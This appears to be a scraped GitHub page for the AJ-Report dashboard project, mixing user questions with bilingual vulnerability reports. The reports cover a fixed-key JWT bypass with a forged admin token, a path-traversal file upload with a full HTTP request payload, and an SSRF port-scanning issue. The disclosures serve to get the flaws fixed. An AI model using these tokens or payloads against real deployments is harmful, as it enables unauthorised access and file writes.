anji-plus / report Goto Github PK
View Code? Open in Web Editor NEWAJ-Report是一个完全开源,拖拽编辑的可视化设计工具。三步快速完成大屏:配置数据源---->写SQL配置数据集---->拖拽生成大屏。让管理层随时随地掌控业务动态,让每个决策都有数据支撑。
Home Page: https://report.anji-plus.com/index.html
License: Apache License 2.0
AJ-Report是一个完全开源,拖拽编辑的可视化设计工具。三步快速完成大屏:配置数据源---->写SQL配置数据集---->拖拽生成大屏。让管理层随时随地掌控业务动态,让每个决策都有数据支撑。
Home Page: https://report.anji-plus.com/index.html
License: Apache License 2.0
亲,有没有reactJS版的?
这是英文的漏洞报告,中文的在(This is the English report, the Chinese report is in): 身份验证绕过漏洞
The program uses a fixed JWT key, and the stored Redis key uses username format characters. Any user who has logged in within an hour. JWT Token can be forged with his username to bypass authentication
Login API
com.anjiplus.template.gaea.business.modules.accessuser.controller.AccessUserController#login
Make redis key of format username, Although uuid is used, uuid is not involved in authentication.
com.anjiplus.template.gaea.business.modules.accessuser.service.impl.AccessUserServiceImpl#login
com.anjiplus.template.gaea.business.constant.BusinessConstant#GAEA_SECURITY_LOGIN_TOKEN
Uses a fixed JWT secret key
spring-boot-gaea-2.0.5.RELEASE.jar!com.anji.plus.gaea.utils.JwtBean#createToken
spring-boot-gaea-2.0.5.RELEASE.jar!com.anji.plus.gaea.GaeaProperties.Security#getJwtSecret
TokenFilter for authentication
com.anjiplus.template.gaea.business.filter.TokenFilter#doFilter
Forge different users' Tokens by modifying the username field
{
"type": 0,
"uuid": "",
"tenant": "tenantCode",
"username": "admin"
}
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjowLCJ1dWlkIjoiIiwidGVuYW50IjoidGVuYW50Q29kZSIsInVzZXJuYW1lIjoiYWRtaW4ifQ.ce3xqqUypEinA_ZCSky9AptKjkG8qFm8ESMuCunqe6Y
docker 部署教程
拖拽生成的大屏有的细节不满足要求,想基于生成的大屏再开发一下
目前地图不支持省级地图,这个后期会有考虑吗?
This is the Chinese report, the English report is in(这是中文的漏洞报告,英文的在): Arbitrary file upload vulnerability
@PostMapping /reportDashboard/import/{reportCode} 导入大屏的接口中,接受文件上传,未对文件后缀进行限制,未对文件名进行检测过滤消毒的操作,导致任意文件删除漏洞
该接口接收文件上传,交给 reportDashboardService.importDashboard() 进行处理
com.anjiplus.template.gaea.business.modules.dashboard.controller.ReportDashboardController#importDashboard
跟进 reportDashboardService.importDashboard(),在该方法中调用了 FileUtil.decompress(file, path); 对文件进行解压操作
com.anjiplus.template.gaea.business.modules.dashboard.service.impl.ReportDashboardServiceImpl#importDashboard
跟进 FileUtil.decompress(file, path); 这里调用了 MultipartFile.transferTo() 写入文件,写入文件成功后,对文件进行解压操作,解压成功 后对文件进行删除
这里错误的将文件删除放到了异常处理的最后,导致调用 decompress() 解压文件时,传入非压缩文件时程序抛出错误java.util.zip.ZipException: error in opening zip file 后跳过了 file.delete() 使文件不被删除。
通过 debug 可以看到,这里使用的是 StandardMultipartFile
StandardMultipartFile 中没有对文件名进行处理,造成任意目录穿越
payload
POST /reportDashboard/import/1 HTTP/1.1
Host: 192.168.157.1:9095
Content-Length: 197
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryioAUPYKgV5wtlqtC
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjowLCJ1dWlkIjoiN2ZkNDEyYWZjNzA3NGQ2MTljMzY4YTEyYTcxN2Y1M2IiLCJ0ZW5hbnQiOiJ0ZW5hbnRDb2RlIiwidXNlcm5hbWUiOiJhZG1pbiJ9.UVEOQNijHeSt0YDj5mAT2S0GS6d_wRnpc8wesc_-Gqw
------WebKitFormBoundaryioAUPYKgV5wtlqtC
Content-Disposition: form-data; name="file"; filename="../EXP.payload"
Content-Type: application/zip
Upload Success
------WebKitFormBoundaryioAUPYKgV5wtlqtC--
上传成功
部署到windows服务器后运行 bat文件,外网访问时提示“http://127.0.0.1:9095/gaeaDict/all net::ERR_CONNECTION_REFUSED”
如何切换成服务器API地址?
这是英文的漏洞报告,中文的在(This is the English report, the Chinese report is SSRF漏洞):
AJ-Report is a fully open-source BI platform with a cool large-screen display that can control business dynamics anytime and anywhere, so that every decision is supported by data.
@PostMapping("/testConnection") In the test connection, there is no restriction, and the attack can construct a malicious address to detect the intranet.
Login API:
com.anjiplus.template.gaea.business.modules.datasource.controller#testConnection
This interface receives the request and hands it to testConnection() for processing
Go to com.anjiplus.template.gaea.business.modules.datasource.service.impl#testConnection
You can see that the case statement is used and http communication is selected.
com.anjiplus.template.gaea.business.modules.datasource.service.impl#testHttp()
org.springframework.web.client#exchange()
org.springframework.web.client#execute()
According to the above call, the url and httpMethod will be obtained from the dto, and executed in doExecute().
org.springframework.web.client#doExecute()
You can see that there is no limit to what is passed in, and the request is executed directly.
Here is a request for any method, dangerous delete, put.
The port test is carried out here, and it can be found that the returned lengths are different. If it does not exist, it will return failed: Connection refused" string. The characteristics are obvious.
请问这个程序可以直接适配IPv6么?
1.不能通过数据控制大屏图素的显示或隐藏,要是能控制显示和隐藏,那么交互上更好
2.能增加mqtt数据集那么应用场景就更加广泛了
这是英文的漏洞报告,中文的在(This is the English report, the Chinese report is in): 任意文件上传漏洞
@PostMapping /reportDashboard/import/{reportCode} In the interface of importing the big screen, it accepts file uploads, does not limit the file suffix, and does not detect, filter and sterilize the file name, resulting in Arbitrary file upload vulnerability
This API receives file uploads and hands them over to reportDashboardService.importDashboard() for processing
com.anjiplus.template.gaea.business.modules.dashboard.controller.ReportDashboardController#importDashboard
Follow up reportDashboardService.importDashboard(), in this method call FileUtil.decompress(file, path); to decompress the file
com.anjiplus.template.gaea.business.modules.dashboard.service.impl.ReportDashboardServiceImpl#importDashboard
Follow up FileUtil.decompress(file, path); Here calls MultipartFile.transferTo() to write the file, after the file is written successfully, decompress the file, ***After the decompression is successful, *** delete the file
Here, the file deletion is wrongly placed at the end of the exception processing, resulting in calling decompress() to decompress the file, and the program throws an error when a non-compressed file is passed in java.util.zip.ZipException: error file.delete() is skipped after opening zip file so that the file is not deleted.
You can see through debug that StandardMultipartFile is used here
The file name is not processed in StandardMultipartFile, resulting in arbitrary directory traversal
payload
POST /reportDashboard/import/1 HTTP/1.1
Host: 192.168.157.1:9095
Content-Length: 197
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryioAUPYKgV5wtlqtC
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjowLCJ1dWlkIjoiN2ZkNDEyYWZjNzA3NGQ2MTljMzY4YTEyYTcxN2Y1M2IiLCJ0ZW5hbnQiOiJ0ZW5hbnRDb2RlIiwidXNlcm5hbWUiOiJhZG1pbiJ9.UVEOQNijHeSt0YDj5mAT2S0GS6d_wRnpc8wesc_-Gqw
------WebKitFormBoundaryioAUPYKgV5wtlqtC
Content-Disposition: form-data; name="file"; filename="../EXP.payload"
Content-Type: application/zip
Upload Success
------WebKitFormBoundaryioAUPYKgV5wtlqtC--
file upload successfully
report.anji-plus.com
演示地址不能访问了,是变更了新地址了吗?
请告知谢谢!
This is the Chinese report, the English report is in(这是中文的漏洞报告,英文的在): 身份验证绕过漏洞
程序使用固定的 JWT 密钥,存储的 Redis 密钥使用用户名格式字符。 任何在一小时内登录的用户。 可以用他的用户名伪造 JWT Token 以绕过身份验证
登录接口
com.anjiplus.template.gaea.business.modules.accessuser.controller.AccessUserController#login
使用用户名创建格式化字符作为 Redis 存储的键值使用,虽然使用了 uuid 但 uuid 并没有参与到身份验证中。
com.anjiplus.template.gaea.business.modules.accessuser.service.impl.AccessUserServiceImpl#login
com.anjiplus.template.gaea.business.constant.BusinessConstant#GAEA_SECURITY_LOGIN_TOKEN
使用了固定的 JWT 密钥
spring-boot-gaea-2.0.5.RELEASE.jar!com.anji.plus.gaea.utils.JwtBean#createToken
spring-boot-gaea-2.0.5.RELEASE.jar!com.anji.plus.gaea.GaeaProperties.Security#getJwtSecret
在 TokenFilter 中进行身份验证
com.anjiplus.template.gaea.business.filter.TokenFilter#doFilter
通过修改 "username" 字段来伪造不同用户的Token
{
"type": 0,
"uuid": "",
"tenant": "tenantCode",
"username": "admin"
}
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjowLCJ1dWlkIjoiIiwidGVuYW50IjoidGVuYW50Q29kZSIsInVzZXJuYW1lIjoiYWRtaW4ifQ.ce3xqqUypEinA_ZCSky9AptKjkG8qFm8ESMuCunqe6Y
This is the Chinese report, the English report is in(这是中文的漏洞报告,英文的在): Arbitrary SSRF vulnerability
AJ-Report是全开源的一个BI平台,酷炫大屏展示,能随时随地掌控业务动态,让每个决策都有数据支撑。
@PostMapping("/testConnection") 在测试链接中,没有做限制,攻击可以构造恶意地址来探测内网。
该接口接收请求,交给 ***testConnection()***进行处理
com.anjiplus.template.gaea.business.modules.datasource.controller#testConnection()
来到com.anjiplus.template.gaea.business.modules.datasource.service.impl#testConnection
可以看到使用了case语句,选择http通信。
com.anjiplus.template.gaea.business.modules.datasource.service.impl#testHttp()
org.springframework.web.client#exchange()
org.springframework.web.client#execute()
根据以上调用取得会从dto中取得url、httpMethod,在doExecute()执行。
org.springframework.web.client#doExecute()
可以看见传进来的没有限制,直接执行请求。
这里进行端口测试,可以发现返回的长度是不一样的。不存在会返回failed: Connection refused" 字符串。特征明显。
Project
back-end DBMS: MySQL >= 5.0.12
Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.
11-20 09:13:06.962 | main |-ERROR o.s.b.d.LoggingFailureAnalysisReporter:40 -
APPLICATION FAILED TO START
Description:
Field gaeaOSSTemplate in com.anjiplus.template.gaea.business.modules.file.service.impl.GaeaFileServiceImpl required a bean of type 'com.anji.plus.gaea.oss.ossbuilder.GaeaOSSTemplate' that could not be found.
The injection point has the following annotations:
- @org.springframework.beans.factory.annotation.Autowired(required=true)
The following candidates were found but could not be injected:
- Bean method 'gaeaOSSTemplate' in 'AutoConfiguration' not loaded because @ConditionalOnProperty (spring.gaea.subscribes.oss.enabled=true) found different value in property 'spring.gaea.subscribes.oss.enabled'
Action:
Consider revisiting the entries above or defining a bean of type 'com.anji.plus.gaea.oss.ossbuilder.GaeaOSSTemplate' in your configuration.
后台能切换成.net吗?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.